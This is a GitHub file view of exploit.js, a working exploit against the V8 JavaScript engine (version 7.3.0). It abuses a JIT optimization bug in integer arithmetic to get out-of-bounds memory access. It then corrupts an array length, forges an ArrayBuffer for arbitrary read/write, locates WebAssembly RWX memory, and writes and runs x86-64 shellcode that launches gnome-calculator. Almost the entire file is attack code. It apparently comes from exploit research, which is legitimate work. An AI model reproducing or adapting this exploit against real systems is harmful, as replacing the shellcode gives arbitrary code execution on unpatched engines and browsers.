-
Notifications
You must be signed in to change notification settings - Fork 9
/
exploit.js
180 lines (128 loc) · 5.79 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
// spawn gnome calculator
let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00];
let WasmOffsets = {
shared_function_info : 3,
wasm_exported_function_data : 1,
wasm_instance : 2,
jump_table_start : 31
};
let log = this.print;
let ab = new ArrayBuffer(8);
let fv = new Float64Array(ab);
let dv = new BigUint64Array(ab);
let f2i = (f) => {
fv[0] = f;
return dv[0];
}
let i2f = (i) => {
dv[0] = BigInt(i);
return fv[0];
}
let tagFloat = (f) => {
fv[0] = f;
dv[0] += 1n;
return fv[0];
}
let hexprintablei = (i) => {
return (i).toString(16).padStart(16,"0");
}
let assert = (l,r,m) => {
if (l != r) {
log(hexprintablei(l) + " != " + hexprintablei(r));
log(m);
throw "failed assert";
}
return true;
}
let NEW_LENGTHSMI = 0x64;
let NEW_LENGTH64 = 0x0000006400000000;
let AB_LENGTH = 0x100;
let MARK1SMI = 0x13;
let MARK2SMI = 0x37;
let MARK1 = 0x0000001300000000;
let MARK2 = 0x0000003700000000;
let ARRAYBUFFER_SIZE = 0x40;
let PTR_SIZE = 8;
let opt_me = (x) => {
let MAGIC = 1.1; // don't move out of scope
let arr = new Array(MAGIC,MAGIC,MAGIC);
arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays
evil_ab = new ArrayBuffer(AB_LENGTH);
packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd);
let y = (x == "foo") ? 4503599627370495 : 4503599627370493;
let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992
z = z + 1 + 1 + 1;
z = z - (4503599627370495*2);
// may trigger the OOB R/W
let leak = arr[z];
arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length
// when leak == MAGIC, we are ready to exploit
if (leak != MAGIC) {
// [1] we should have corrupted arr2.length, we want to check it
assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption");
assert(arr2.length, NEW_LENGTHSMI);
log("[+] corrupted JSArray's length");
// [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer
let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH));
// check if the memory layout is consistent
assert(ab_len_idx != -1, true, "could not find array buffer");
assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false);
assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true);
assert(f2i(arr2[ab_len_idx + 2]), 2);
let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]);
let fbackingstore_ptr = arr2[ab_len_idx + 1];
// copy the array buffer so as to prepare a good looking fake array buffer
let view = new BigUint64Array(evil_ab);
for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
view[i] = f2i(arr2[ab_len_idx-3+i]);
}
log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr));
// [3] corrupt packed_elements_array to replace the pointer to the Math object
// by a pointer to our fake object located in our evil_ab array buffer
let magic_mark_idx = arr2.indexOf(i2f(MARK1));
assert(magic_mark_idx != -1, true, "could not find object pointer mark");
assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true);
arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr);
// [4] leak wasm function pointer
let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd
log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr)));
view[4] = f2i(ftagged_wasm_func_ptr)-1n;
// [5] use RW primitive to find WASM RWX memory
let rw_view = new BigUint64Array(packed_elements_array[1]);
let shared_function_info = rw_view[WasmOffsets.shared_function_info];
view[4] = shared_function_info - 1n; // detag pointer
rw_view = new BigUint64Array(packed_elements_array[1]);
let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];
view[4] = wasm_exported_function_data - 1n; // detag
rw_view = new BigUint64Array(packed_elements_array[1]);
let wasm_instance = rw_view[WasmOffsets.wasm_instance];
view[4] = wasm_instance - 1n; // detag
rw_view = new BigUint64Array(packed_elements_array[1]);
let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag
assert(jump_table_start > 0x10000n, true);
assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer
log("[+] found RWX memory at 0x" + jump_table_start.toString(16));
view[4] = jump_table_start;
rw_view = new Uint8Array(packed_elements_array[1]);
// [6] write shellcode in RWX memory
for (let i = 0; i < shellcode.length; ++i) {
rw_view[i] = shellcode[i];
}
// [7] PWND!
let res = get_pwnd();
print(res);
}
return leak;
}
(() => {
assert(this.alert, undefined); // only v8 is supported
assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0
// exploit is the same for both windows and linux, only shellcodes have to be changed
// architecture is expected to be 64 bits
})()
// needed for RWX memory
load("wasm.js");
opt_me("");
for (var i = 0; i < 0x10000; ++i) // trigger optimization
opt_me("");
let res = opt_me("foo");